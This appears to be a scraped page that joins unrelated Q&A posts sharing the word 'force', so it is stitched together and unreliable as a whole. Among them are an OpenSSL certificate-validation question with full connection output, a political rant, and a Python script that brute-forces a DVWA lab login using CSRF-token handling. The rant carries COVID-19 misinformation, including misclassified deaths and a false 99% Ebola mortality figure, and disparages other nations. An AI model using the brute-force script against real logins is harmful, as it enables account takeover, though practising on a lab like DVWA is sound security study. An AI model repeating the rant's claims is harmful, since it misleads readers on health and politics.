How to force OpenSSL to use same certificate-chain validation algorithm used by Chrome Browser and SSL LABS

Question: How can I force OpenSSL to use the same certificate validation algorithm used by the Chrome Browser and SSL Labs?

Details:

The certificate chain sent by “adswizz.com” includes a recently expired certificate from COMODO (expired May 30, 2020).

This OpenSSL command uses a simple algorithm that walks the cert-chain provided by the server, finds the expired certificate, and then reports “Verify return code: 10 (certificate has expired)”.

openssl s_client -showcerts -connect adswizz.com:443 -servername adswizz.com < /dev/null

In contrast, visiting this SSL Labs URL shows the results from a more sophisticated algorithm that explores several different paths attempting to validate the server certificate.

https://www.ssllabs.com/ssltest/analyze.html?d=adswizz.com

This finds 3 possible paths (see image below). Path #2 is the same path used by OpenSSL, so it fails due to the expired certificate, … but Paths #1 and #3 both succeed. (Path #3 even downloads an additional certicate!)

We want to use openssl from the Linux command line, and use the glib-openssl library to support TLS communication with the server. What command-line options or library config settings can we use to force OpenSSL to validate a certificate and get the same result as the Chrome Browser.

We cannot force the 3rd party running the adswizz.com to update its certificate chain because they will “check” using Chrome and tell is, “Looks valid”, … but OpenSSL will still fail.

We need a fix or a workaround. Any ideas?

Any help would be appreciated.

# openssl s_client -showcerts -connect adswizz.com:443 -servername adswizz.com < /dev/null

CONNECTED(00000003)
depth=3 C = SE, O = AddTrust AB, OU = AddTrust External TTP Network, CN = AddTrust External CA Root
verify error:num=10:certificate has expired
notAfter=May 30 10:48:38 2020 GMT
---
Certificate chain
 0 s:/OU=Domain Control Validated/OU=PositiveSSL Wildcard/CN=*.adswizz.com
   i:/C=GB/ST=Greater Manchester/L=Salford/O=Sectigo Limited/CN=Sectigo RSA Domain Validation Secure Server CA
-----BEGIN CERTIFICATE-----
MIIGczCCBVugAwIBAgIRAJmRcvO1sqghu6YYUOklMpQwDQYJKoZIhvcNAQELBQAw
gY8xCzAJBgNVBAYTAkdCMRswGQYDVQQIExJHcmVhdGVyIE1hbmNoZXN0ZXIxEDAO
BgNVBAcTB1NhbGZvcmQxGDAWBgNVBAoTD1NlY3RpZ28gTGltaXRlZDE3MDUGA1UE
AxMuU2VjdGlnbyBSU0EgRG9tYWluIFZhbGlkYXRpb24gU2VjdXJlIFNlcnZlciBD
QTAeFw0xOTA4MDYwMDAwMDBaFw0yMTA4MDUyMzU5NTlaMFoxITAfBgNVBAsTGERv
bWFpbiBDb250cm9sIFZhbGlkYXRlZDEdMBsGA1UECxMUUG9zaXRpdmVTU0wgV2ls
ZGNhcmQxFjAUBgNVBAMMDSouYWRzd2l6ei5jb20wggEiMA0GCSqGSIb3DQEBAQUA
A4IBDwAwggEKAoIBAQDWNphn1Sfmttt94/RUhRkuWphecWBC9ASFNP6dd2pYSnX6
uVbzC+srXibVO9awDQww9Lj/to3wnvwQCw+IA6qH1HBpCKqCuGVCLLGciet7B2nz
Mg39VtBmVVW0Fe76rR+xl2ljCXWReh8h26yvpZYOH9aVUXsjFydRWP54ewyBnwuv
S2Zni0EkEVPYwI7FvYTnL78Ahg4XqKkSi0T9o0d94ckT+/hUun38BykWD5zwhdHS
En3nroJHkdeC9xqlZ6JeSC7gw4p44p6kC+PoSTiVp0eA9DPE3SO/Y5v2mtF7wnS0
3npIEaYZcmoHwI3bU7nmOv7NWau2AnkQCxnMnpo5AgMBAAGjggL8MIIC+DAfBgNV
HSMEGDAWgBSNjF7EVK2K4Xfpm/mbBeG4AY1h4TAdBgNVHQ4EFgQUx+9Empd4lm7l
ndR6tRfTloPsLf0wDgYDVR0PAQH/BAQDAgWgMAwGA1UdEwEB/wQCMAAwHQYDVR0l
BBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMEkGA1UdIARCMEAwNAYLKwYBBAGyMQEC
AgcwJTAjBggrBgEFBQcCARYXaHR0cHM6Ly9zZWN0aWdvLmNvbS9DUFMwCAYGZ4EM
AQIBMIGEBggrBgEFBQcBAQR4MHYwTwYIKwYBBQUHMAKGQ2h0dHA6Ly9jcnQuc2Vj
dGlnby5jb20vU2VjdGlnb1JTQURvbWFpblZhbGlkYXRpb25TZWN1cmVTZXJ2ZXJD
QS5jcnQwIwYIKwYBBQUHMAGGF2h0dHA6Ly9vY3NwLnNlY3RpZ28uY29tMCUGA1Ud
EQQeMByCDSouYWRzd2l6ei5jb22CC2Fkc3dpenouY29tMIIBfgYKKwYBBAHWeQIE
AgSCAW4EggFqAWgAdgD2XJQv0XcwIhRUGAgwlFaO400TGTO/3wwvIAvMTvFk4wAA
AWxm2QUzAAAEAwBHMEUCIG2FdFKVcP6FgVA5gkUNP6ls31EboxWMNik2/Tru3C43
AiEAsAz8L6f+gjVseGTVuvspo/tOk4VxgaKTHXK11v/6HtUAdgBElGUusO7Or8RA
B9io/ijA2uaCvtjLMbU/0zOWtbaBqAAAAWxm2QVWAAAEAwBHMEUCIFAvLKuzf5Uy
aNmVZdwOCFuYecyR4Kwctz/2AQRgZmDGAiEA1t07AXCqPvalErjRmwOo59OAVHbb
HOepcehNTZ2IA8AAdgBVgdTCFpA2AUrqC5tXPFPwwOQ4eHAlCBcvo6odBxPTDAAA
AWxm2QUrAAAEAwBHMEUCIGh/Js6dAEY3HeZc9e44yqsJH3csigoMO2MssiwyiP5o
AiEAtDtdZqnRoa8fFIT+JGOBHpWQ9Z8K2OSjTyPuEIFIcW0wDQYJKoZIhvcNAQEL
BQADggEBAEetlFBbQLc6UrYowsuEux308+gDuuz+RuA15NsLBRaMpbz9ymXqad/y
i2xP5oCR/D393bLg4OCjje0ukUF9J4JaF7GKwp8smqP5oqDoIy4F+7E23AHU5RWL
tS5br0lKMYBS/eZddDjYYHD6AIFKzRlpEJdCebIXglg1MT7E+93f2dFMZwoWybXl
aNuOUzan8n8FPA0OrH8OOwgoJkS1SxKrpdXI9FdgogPrILa5nvyLecUT/b4Otxwz
Jm4vkHILWCn8XkhmmXbDg12yGMdRIWQdihlGuNDt97/k0+8HR9MyZ39SiJYvJQRg
TYOEC267rxGKU4TxkQJjIFScICbXZrU=
-----END CERTIFICATE-----
 1 s:/C=GB/ST=Greater Manchester/L=Salford/O=Sectigo Limited/CN=Sectigo RSA Domain Validation Secure Server CA
   i:/C=US/ST=New Jersey/L=Jersey City/O=The USERTRUST Network/CN=USERTrust RSA Certification Authority
-----BEGIN CERTIFICATE-----
MIIGEzCCA/ugAwIBAgIQfVtRJrR2uhHbdBYLvFMNpzANBgkqhkiG9w0BAQwFADCB
iDELMAkGA1UEBhMCVVMxEzARBgNVBAgTCk5ldyBKZXJzZXkxFDASBgNVBAcTC0pl
cnNleSBDaXR5MR4wHAYDVQQKExVUaGUgVVNFUlRSVVNUIE5ldHdvcmsxLjAsBgNV
BAMTJVVTRVJUcnVzdCBSU0EgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkwHhcNMTgx
MTAyMDAwMDAwWhcNMzAxMjMxMjM1OTU5WjCBjzELMAkGA1UEBhMCR0IxGzAZBgNV
BAgTEkdyZWF0ZXIgTWFuY2hlc3RlcjEQMA4GA1UEBxMHU2FsZm9yZDEYMBYGA1UE
ChMPU2VjdGlnbyBMaW1pdGVkMTcwNQYDVQQDEy5TZWN0aWdvIFJTQSBEb21haW4g
VmFsaWRhdGlvbiBTZWN1cmUgU2VydmVyIENBMIIBIjANBgkqhkiG9w0BAQEFAAOC
AQ8AMIIBCgKCAQEA1nMz1tc8INAA0hdFuNY+B6I/x0HuMjDJsGz99J/LEpgPLT+N
TQEMgg8Xf2Iu6bhIefsWg06t1zIlk7cHv7lQP6lMw0Aq6Tn/2YHKHxYyQdqAJrkj
eocgHuP/IJo8lURvh3UGkEC0MpMWCRAIIz7S3YcPb11RFGoKacVPAXJpz9OTTG0E
oKMbgn6xmrntxZ7FN3ifmgg0+1YuWMQJDgZkW7w33PGfKGioVrCSo1yfu4iYCBsk
Haswha6vsC6eep3BwEIc4gLw6uBK0u+QDrTBQBbwb4VCSmT3pDCg/r8uoydajotY
uK3DGReEY+1vVv2Dy2A0xHS+5p3b4eTlygxfFQIDAQABo4IBbjCCAWowHwYDVR0j
BBgwFoAUU3m/WqorSs9UgOHYm8Cd8rIDZsswHQYDVR0OBBYEFI2MXsRUrYrhd+mb
+ZsF4bgBjWHhMA4GA1UdDwEB/wQEAwIBhjASBgNVHRMBAf8ECDAGAQH/AgEAMB0G
A1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAbBgNVHSAEFDASMAYGBFUdIAAw
CAYGZ4EMAQIBMFAGA1UdHwRJMEcwRaBDoEGGP2h0dHA6Ly9jcmwudXNlcnRydXN0
LmNvbS9VU0VSVHJ1c3RSU0FDZXJ0aWZpY2F0aW9uQXV0aG9yaXR5LmNybDB2Bggr
BgEFBQcBAQRqMGgwPwYIKwYBBQUHMAKGM2h0dHA6Ly9jcnQudXNlcnRydXN0LmNv
bS9VU0VSVHJ1c3RSU0FBZGRUcnVzdENBLmNydDAlBggrBgEFBQcwAYYZaHR0cDov
L29jc3AudXNlcnRydXN0LmNvbTANBgkqhkiG9w0BAQwFAAOCAgEAMr9hvQ5Iw0/H
ukdN+Jx4GQHcEx2Ab/zDcLRSmjEzmldS+zGea6TvVKqJjUAXaPgREHzSyrHxVYbH
7rM2kYb2OVG/Rr8PoLq0935JxCo2F57kaDl6r5ROVm+yezu/Coa9zcV3HAO4OLGi
H19+24rcRki2aArPsrW04jTkZ6k4Zgle0rj8nSg6F0AnwnJOKf0hPHzPE/uWLMUx
RP0T7dWbqWlod3zu4f+k+TY4CFM5ooQ0nBnzvg6s1SQ36yOoeNDT5++SR2RiOSLv
xvcRviKFxmZEJCaOEDKNyJOuB56DPi/Z+fVGjmO+wea03KbNIaiGCpXZLoUmGv38
sbZXQm2V0TP2ORQGgkE49Y9Y3IBbpNV9lXj9p5v//cWoaasm56ekBYdbqbe4oyAL
l6lFhd2zi+WJN44pDfwGF/Y4QA5C5BIG+3vzxhFoYt/jmPQT2BVPi7Fp2RBgvGQq
6jG35LWjOhSbJuMLe/0CjraZwTiXWTb2qHSihrZe68Zk6s+go/lunrotEbaGmAhY
LcmsJWTyXnW0OMGuf1pGg+pRyrbxmRE1a6Vqe8YAsOf4vmSyrcjC8azjUeqkk+B5
yOGBQMkKW+ESPMFgKuOXwIlCypTPRpgSabuY0MLTDXJLR27lk8QyKGOHQ+SwMj4K
00u/I5sUKUErmgQfky3xxzlIPK1aEn8=
-----END CERTIFICATE-----
 2 s:/C=US/ST=New Jersey/L=Jersey City/O=The USERTRUST Network/CN=USERTrust RSA Certification Authority
   i:/C=SE/O=AddTrust AB/OU=AddTrust External TTP Network/CN=AddTrust External CA Root
-----BEGIN CERTIFICATE-----
MIIFdzCCBF+gAwIBAgIQE+oocFv07O0MNmMJgGFDNjANBgkqhkiG9w0BAQwFADBv
MQswCQYDVQQGEwJTRTEUMBIGA1UEChMLQWRkVHJ1c3QgQUIxJjAkBgNVBAsTHUFk
ZFRydXN0IEV4dGVybmFsIFRUUCBOZXR3b3JrMSIwIAYDVQQDExlBZGRUcnVzdCBF
eHRlcm5hbCBDQSBSb290MB4XDTAwMDUzMDEwNDgzOFoXDTIwMDUzMDEwNDgzOFow
gYgxCzAJBgNVBAYTAlVTMRMwEQYDVQQIEwpOZXcgSmVyc2V5MRQwEgYDVQQHEwtK
ZXJzZXkgQ2l0eTEeMBwGA1UEChMVVGhlIFVTRVJUUlVTVCBOZXR3b3JrMS4wLAYD
VQQDEyVVU0VSVHJ1c3QgUlNBIENlcnRpZmljYXRpb24gQXV0aG9yaXR5MIICIjAN
BgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAgBJlFzYOw9sIs9CsVw127c0n00yt
UINh4qogTQktZAnczomfzD2p7PbPwdzx07HWezcoEStH2jnGvDoZtF+mvX2do2NC
tnbyqTsrkfjib9DsFiCQCT7i6HTJGLSR1GJk23+jBvGIGGqQIjy8/hPwhxR79uQf
jtTkUcYRZ0YIUcuGFFQ/vDP+fmyc/xadGL1RjjWmp2bIcmfbIWax1Jt4A8BQOujM
8Ny8nkz+rwWWNR9XWrf/zvk9tyy29lTdyOcSOk2uTIq3XJq0tyA9yn8iNK5+O2hm
AUTnAU5GU5szYPeUvlM3kHND8zLDU+/bqv50TmnHa4xgk97Exwzf4TKuzJM7UXiV
Z4vuPVb+DNBpDxsP8yUmazNt925H+nND5X4OpWaxKXwyhGNVicQNwZNUMBkTrNN9
N6frXTpsNVzbQdcS2qlJC9/YgIoJk2KOtWbPJYjNhLixP6Q5D9kCnusSTJV882sF
qV4Wg8y4Z+LoE53MW4LTTLPtW//e5XOsIzstAL81VXQJSdhJWBp/kjbmUZIO8yZ9
HE0XvMnsQybQv0FfQKlERPSZ51eHnlAfV1SoPv10Yy+xUGUJ5lhCLkMaTLTwJUdZ
+gQek9QmRkpQgbLevni3/GcV4clXhB4PY9bpYrrWX1Uu6lzGKAgEJTm4Diup8kyX
HAc/DVL17e8vgg8CAwEAAaOB9DCB8TAfBgNVHSMEGDAWgBStvZh6NLQm9/rEJlTv
A73gJMtUGjAdBgNVHQ4EFgQUU3m/WqorSs9UgOHYm8Cd8rIDZsswDgYDVR0PAQH/
BAQDAgGGMA8GA1UdEwEB/wQFMAMBAf8wEQYDVR0gBAowCDAGBgRVHSAAMEQGA1Ud
HwQ9MDswOaA3oDWGM2h0dHA6Ly9jcmwudXNlcnRydXN0LmNvbS9BZGRUcnVzdEV4
dGVybmFsQ0FSb290LmNybDA1BggrBgEFBQcBAQQpMCcwJQYIKwYBBQUHMAGGGWh0
dHA6Ly9vY3NwLnVzZXJ0cnVzdC5jb20wDQYJKoZIhvcNAQEMBQADggEBAJNl9jeD
lQ9ew4IcH9Z35zyKwKoJ8OkLJvHgwmp1ocd5yblSYMgpEg7wrQPWCcR23+WmgZWn
RtqCV6mVksW2jwMibDN3wXsyF24HzloUQToFJBv2FAY7qCUkDrvMKnXduXBBP3zQ
YzYhBx9G/2CkkeFnvN4ffhkUyWNnkepnB2u0j4vAbkN9w6GAbLIevFOFfdyQoaS8
Le9Gclc1Bb+7RrtubTeZtv8jkpHGbkD4jylW6l/VXxRTrPBPYer3IsynVgviuDQf
Jtl7GQVoP7o81DgGotPmjw7jtHFtQELFhLRAlSv0ZaBIefYdgWOWnU914Ph85I6p
0fKtirOMxyHNwu8=
-----END CERTIFICATE-----
---
Server certificate
subject=/OU=Domain Control Validated/OU=PositiveSSL Wildcard/CN=*.adswizz.com
issuer=/C=GB/ST=Greater Manchester/L=Salford/O=Sectigo Limited/CN=Sectigo RSA Domain Validation Secure Server CA
---
No client certificate CA names sent
Peer signing digest: SHA512
Server Temp Key: ECDH, P-256, 256 bits
---
SSL handshake has read 5334 bytes and written 454 bytes
---
New, TLSv1/SSLv3, Cipher is ECDHE-RSA-AES256-GCM-SHA384
Server public key is 2048 bit
Secure Renegotiation IS supported
Compression: NONE
Expansion: NONE
No ALPN negotiated
SSL-Session:
    Protocol  : TLSv1.2
    Cipher    : ECDHE-RSA-AES256-GCM-SHA384
    Session-ID: B56072247A34ED804A1B84933F673D5029E02352C1EC96109F38991BCE1DA450
    Session-ID-ctx: 
    Master-Key: 79A358537CE41E0CA4D3463848A9837397BB06B068547F702336723D42BB7DB0A788390E76F4264534D2B47EE2B1B48C
    Key-Arg   : None
    PSK identity: None
    PSK identity hint: None
    SRP username: None
    TLS session ticket lifetime hint: 300 (seconds)
    TLS session ticket:
    0000 - 60 bb 34 9c c4 9e 1e d5-25 30 51 e8 c0 66 ad f9   `.4.....%0Q..f..
    0010 - 96 ff 5a 60 3b 9b 50 07-55 08 2b 11 5e 72 9e fb   ..Z`;.P.U.+.^r..
    0020 - b6 47 85 f1 42 27 28 ae-ce fc e0 63 c3 00 60 01   .G..B'(....c..`.
    0030 - 78 d0 6b c6 d9 40 8e 5d-96 14 a0 24 f2 4e 35 25   x.k..@.)...$.N5%
    0040 - 3e e4 94 21 c6 11 0b db-00 6b c7 16 87 c1 92 a2   >..!.....k......
    0050 - 9a c3 dc 51 95 5d 44 6f-e0 f0 20 2c 44 9e 07 e3   ...Q.)Do.. ,D...
    0060 - cb 0a 83 f2 8f 06 d8 9d-53 b8 85 a1 62 27 09 dd   ........S...b'..
    0070 - a2 74 35 31 07 71 5b 92-87 8e 84 34 c4 10 9f 01   .t51.q(....4....
    0080 - 0a 86 30 32 e4 b2 3e ed-3c c4 81 49 42 60 19 9b   ..02..>.<..IB`..
    0090 - ff 90 0b 0a a7 4b 58 ed-bd b9 6a 8a 09 3e 54 0e   .....KX...j..>T.
    00a0 - 39 ce 19 14 fb 5d b3 b6-11 a3 11 da 53 11 ff 06   9....)......S...
    00b0 - 0e 9c 1b 7f 14 ef 69 cb-35 5a 79 29 dd ed 9c 39   ......i.5Zy)...9
    00c0 - 19 e2 6a 9e d7 06 5e e7-3b 86 c1 0e cb 80 7e 6a   ..j...^.;.....~j

    Start Time: 1591065727
    Timeout   : 300 (sec)
    Verify return code: 10 (certificate has expired)
---
DONE

enter image description here

Do you think all the George Floyd riots and protests will cause a Coronavirus spike and force us into another 3 months of economic shutdown?

They’re telling the experts & (D) who said believe the science that their science is pointless with people who have nothing better to do because of grounding shutdowns. Officer Derek Chauvin got carried away & forgot that he doesn’t live in Haiti, Liberia, South Sudan, Venezuela, N. Africa, Middle East, Brazil & even Mexico where it is routine for cops to shoot 1st & ask question later specially if the suspect is a well known career criminal. 

 

Criminals released by the thousands due to COVID-19 concerns & have been re-offending since their release, saw an opportunity along gang members, ANTIFA & easily influenced millennials. De Blasio was surprised that criminals that were released were reoffending & Los Angeles Police Chief warned the public that thousands of criminals will re-commit crimes. Criminals having impunity is the transition towards Venezuelan  Socialism for supporting the socialist regime. (D)s have been setting the stage for Socialism since 2007. No justice no peace is a call for criminals to wreck havoc, not protest. Abuse of authority certainly calls for protest, but this is not a protest. These are criminals, thugs, thieves & arsonist as described by Obama when he was in office. It’s Ironic that, celebrities, politicians, & protestors supports abuse of authority carried out by Comey, Brenan, Clapper, Obama, Lynch, Rice, Nadler, Schitt… Supporting a preferred abuse of power will turn the USA into Sub Saharan ruled countries, Haiti, ISIS Caliphate, Venezuela, San Salvador, Brazil & even Mexico where corruption is rampant & a way of life.

Sweden revered as a socialist success did not take the socialist approach of shutting down their economy as they knew COVID-19 isn’t apocalyptic & will spreads no matter how (D)s & partisan news media makes it apocalyptic while the young & healthy rarely affected keeps the economy stable. Doctor Dan Erickson analyzed & exposed the natural & pre-existing conditions deaths are being classified as COVID-19 death, & Influenza deaths are likely being counted as well.

Worldwide Deaths from 01/01/20 – 04/04/20: COVID-19 59,226, Seasonal Flu 125,352, Water Related Diseases 217,099, Malaria 252,878, Suicides 276,480, Road Accidents 348,044, HIV/AIDS 433,382, Alcohol 644,785, Smoking 1,288,753, Cancer 2,117,316, Hunger 2,883,497

AOC work boycott & (D)s would rather have the middle class & working poor unemployed & out of business impowering (D) congress with leverage to exploit the situation as more foreigners are brought in to replace 40% millions of unemployed US citizens from the pandemic. At some point the country & the world will need to cope & live with COVID-19 along other diseases that are far more lethal & incurable than COVID-19. With an incubation period of 2 weeks, 6 weeks quarantine/shutdown is more than enough & should’ve transitioned to targeted shutdown. The world is still dealing with HIV, EBOLA (99% mortality), Hepatitis C & Syphilis without a vaccine. Shutdowns for more than a couple of months will put 280 million US folks in poverty. A year shutdown will put 320 Million Americans in poverty where the government will have to nationalize the industries, private property, & public individualism inducing famine, unproductivity, desperations & deaths.

Despite how American socialists (Sanders & the squad) brand their socialism as Democratic Socialist to mask their true intentions to achieving the end goal of Socialist state control of the economy, industry, property & public by bureaucratic regulations. Everything they propose such as public education (free & mediocre) & universal single payer healthcare (rationed) is straight up USSR, Cuba & Venezuela’s play book which Sanders lauds & defends. (Venezuela was praised as Democratic Socialist that was actually Communist with its bureaucrats pillaging oil revenues). These socialist countries don’t have state of the art Hospitals & Cadillac Gov. Assist. for all (only 0.0001%) because there isn’t enough funds & man power regardless of how much industries are taxed & nationalized. Ultimately all concept or branding of socialism leads to Government owned property of industries, housing, farms, people, long working hours, & NO: dissenting free speech, entrepreneurship, competition, varieties in brands or materials with very little individuality, motivation, & productivity.

In a Socialist country it is very hard to impossible to be a Millionaire when socialists like Bernie & AOC will take 90% of an entrepreneurs wealth, income, & property. Sanders always touts Sweden (less densely populated homogenous country) as a socialist success where Millionaires & Billionaires thrives from the middle class & the working poor being the ones funding most gov. assistance in Sweden. Bernie & AOC will use every means of pressure & influence in advancing the Green New Deal’s socialist agenda funded by the top 21% ($Millionaires/$Billionaires) turning that into the top 0.0001% for the US economy & society to permanently mirror Cuba, Venezuela & N. Korea eliminating most of the rich (except elites in government) & all middle class to exist as income among the rich, middle & poor are flattened to the lowest level.

Lesson for America: Sweden is not Socialist

Youtube thumbnail

Youtube thumbnail

A nationwide 75% economic shutdown to essentials only is a communist model economy from a pandemic or warfare that plunges 1st world economies into a depression for socialism to takes hold & permanently take over under the Green New Deal (New Communist Manifesto). Anyone who has lived & escaped Venezuela knows this feeling, once all Industries & Private Properties are nationalized. Senate/House (D)s Green New Deal will shape America’s economy in line with Venezuela & Cuba where bureaucrats control the economy & profits (ripe for corruptions). Everyone will either be working for the government assigned jobs deemed necessary, or unemployed on rationed gov. assistance & rent free dilapidated apartment in disrepair.

Bernie & AOC’s Green New Deal is designed to destroy America from within & the intent of 3rd world socialist countries to prosper, but only 2nd – 8th largest adversarial or rival countries will. The military will become very ineffective so the US can’t be SAVIORS or police of the world. The United States would be ripe for the Taking or break apart into 50 or 10 separate independent countries as its defensive arsenals of carbon emitting internal combustion engines, rocket engines, Jet engines, bombs, missiles, cannon powder… would be out of commission. AOC want to dissolve Homeland Security & the Military so that customs, Coast Guard, Navy, Army, & Airforce can’t defend against Drug Cartels, Drug Mules, Drug Dealers, Human Traffickers, Criminal Gangs, Common Criminals, ISIS or Al Qaeda operatives like the Boston Marathon Bomber (Tsarnaev), San Bernardino shooter (Farook), & Florida gay bar shooter (Mateen).

As the hospitalization curve has been flattened & minimized to safely open in 3 phases, (D) States Governors are doing all they can to prolong the shutdowns seeing the pandemic as an opportunity to erase decades long debt & mismanagement they have incurred from spending more than the high taxes they collect as they scheme with (D) Congress (has power of purse) for a bailout & print endless money regardless of how much the US dollar will deflate in value taking a page from the Venezuelan & Zimbabwean model where $1 is a Trillion in Zimbabwean & Venezuelan currency. The pandemic is resetting the world nations’ economies, but 1st world countries have the means to bounce back with their infrastructures in logistic, manufacturing, retail, natural resources, academics, engineering & science. Due to crimes, corruption, & brain drain of special skill, 3rd world economies have no chance to surpass 1st world economies.

https://theblacksphere.net/2015/11/two-black-cops-…

https://www.theguardian.com/world/2012/may/09/full…

https://www.cnn.com/2017/07/17/us/minneapolis-woma…

https://www.dailywire.com/news/5-statistics-you-ne…

Youtube thumbnail

Brute Force HIGH DVWA with Python Script

I’m new using python and I’m trying to BruteForce DVWA in High Level, I found this script from https://medium.com/@dannybeton/dvwa-brute-force-tutorial-high-security-456e6ed3ae39 . But this error always pop up when I execute it. Any help is welcome,Thank U.

Error:

File “brute_force.py”, line 32, in csrf_token = soup.findAll(attrs={“name”: “user_token”})(0).get(‘value’) IndexError: list index out of range.

Whole Script:

from sys import argv
import requests
from BeautifulSoup import BeautifulSoup as Soup
# give our arguments more semantic friendly names
script, filename, success_message = argv
txt = open(filename)
# set up our target, cookie and session
url = 'http://127.0.0.1/dvwa/vulnerabilities/brute/index.php'
cookie = {'security': 'high', 'PHPSESSID':'b8dgqhbue8vdinrd87leug1no1'}
s = requests.Session()
target_page = s.get(url, cookies=cookie)
''' 
checkSuccess
@param: html (String)
Searches the response HTML for our specified success message
'''
def checkSuccess(html):
 # get our soup ready for searching
 soup = Soup(html)
 # check for our success message in the soup
 search = soup.findAll(text=success_message)

 if not search:
  success = False
 else:
  success = True
# return the brute force result
 return success
# Get the intial CSRF token from the target site
page_source = target_page.text
soup = Soup(page_source);
csrf_token = soup.findAll(attrs={"name": "user_token"})(0).get('value')
# Loop through our provided password file
with open(filename) as f:
 print 'Running brute force attack...'
 for password in f:
  # setup the payload
  payload = {'username': 'admin', 'password': password, 'Login': 'Login', 'user_token': csrf_token}
  r = s.get(url, cookies=cookie, params=payload)
  success = checkSuccess(r.text)
  if not success:
   # if it failed the CSRF token will be changed. Get the new one
   soup = Soup(r.text)
   csrf_token = soup.findAll(attrs={"name": "user_token"})(0).get('value')
  else:
   # Success! Show the result
   print 'Password is: ' + password
   break
# We failed, bummer. 
 if not success:
  print 'Brute force failed. No matches found.'

How to force Slack to apply markdown within a word?

Slack has “recently” introduced its a bit annoying WYSIWYG “message composer” which breaks the message formatting with the inline markdown. Fortunately there is now also option called “format messages with markup” which kind of reverts this feature back to normal, but…

I would like to know, how to force this inline markdown interpreter to work also in the middle of words. For example, how to achieve these:

partiallystrike

connected

Apparently, the following:

par~tiallys~trike

`connect`ed

do not work. There must be a separator before/after ~ or `, but if space is used, it’s no more a single word 🙁 Is there any “invisible” (and simply reachable) character Slack would accept as a separator which we could use for this purpose?

How to force slack markdown within the word

Slack has “recently” introduced its a bit annoying WYSIWYG “message composer” which breaks the message formatting with the inline markdown. Fortunately there is now also option called “format messages with markup” which kind of reverts this feature back to normal, but…

I would like to know, how to force this inline markdown interpreter to work also in the middle of words. For example, how to achieve these:

partiallystrike

connected

Apparently following:

par~tiallys~trike

`connect`ed

do not work. There must be a separator before/after ~ or `, but if space is used, it’s no more a single word 🙁 Is there any “invisible” (and simply reachable) character – slack would accept as a separator – we could use for this purpose?

star wars d20 – Where does this force skill bonus come from?

I’m taking like 10 years of dirt of an old PC from Star Wars d20 and found that my PC has a bonus to all force skills. This bonus is based on the jedi guardian level * 1/3 plus the jedi master level * 2/3.

I cannot find any rules that explain these bonuses. What feature grants this bonus and what book does it originate from?

sharepoint online – Force content creators to use a specific template with specific layout

To maintain a consistent look across all our SPO sites, we’d like to force our content creators to use the same layout for the same types of articles/news. Say we create a template called “news” – we’d want to force all news articles to use this template, and force them to use the exact layout (rows, columns and widgets) as defined in the template. This means that even after creating a new page/news story based on our custom template, we want to make sure that our content creators don’t change the layout.

  1. Is this possible at this point in time?
  2. When creating a new site/news article, is it possible to restrict our content creator to use the built in templates (i.e. “Blank” and so forth), and only display our custom ones?

force user to select a content type

I have a library “Accounting” and it has 12 different content type. I dont to set any default content type (looks like thats not possible). user must select a specific content type. how do i implement this?

What is this building and where is it? Europe in 1944-45 by a U.S. Army Air Force soldier. France, Germany, Belgium, or Netherlands?

What is this building and where is it?

Taken in Europe in 1944-45 by a U.S. Army Air Force soldier 9th Air Force, 397th Bombardier Group, 599th Bomb Squadron.

Could be in France north of Paris, Germany near Drucken or Monchen-Gladbach, Brussels Belgium, or Venlo Netherlands.

I have two additional photos with a man standing on the stairs in a helmet and uniform, but I couldn’t figure out how to add those to this post. In those two photos more detail of the doors and building is visible.

He was stationed at St. Quentin, France and at the end of the war in Venlo, Netherlands.

I have searched all the towns he mentioned in his diary and have not found anything that looks like this building. I think it is a church, but it could be something else.

Note: If anyone can tell me how to add more photos, that would be great.

Domed building with features that look like a church in the countryside

How to force Google Docs “Replace URL with its title” on heading links to instead replace the URL with heading text

I need to be able to more efficiently change a link to the heading text the link points to, without having to do cumbersome steps.

This a workaround for the more ideal feature that, as of 2020-05-22, has yet to be implemented by Google: How to insert links to headings in Google Docs without brute force (incremental completion and narrowing)

See the image below which explains the problem. Below that image, see the steps to reproduce this problem:

enter image description here

Steps:

  1. Open an existing Google Doc, or create new one.
  2. Add a heading.
  3. Click on the link of that heading inside the Outline view to the left.
  4. Move the mouse into the browsers address bar, select the URL, and type CTRL+c to copy it into the clipboard.
  5. Move the mouse into the document, and type CTRL+v to paste the URL.
  6. Left mouse click into the URL just pasted.
  7. See the popup (see image below).
  8. Notice that it has the text of the whole document, which is not what I want. Instead, I want that to be the heading text of that section.

I do not want to workaround this by having to edit the URL text, or have to use method of adding links to headings using CTRL+k, as that is taking up too much time when this operation is done many, many times during an editing session: It is cumbersome because it forces you to scroll down a list of all headings in the document, versus driving to it directly, and that list of headings can be quite large. As the number of headings increases, it becomes impractical to scroll down that list every single time to find the heading.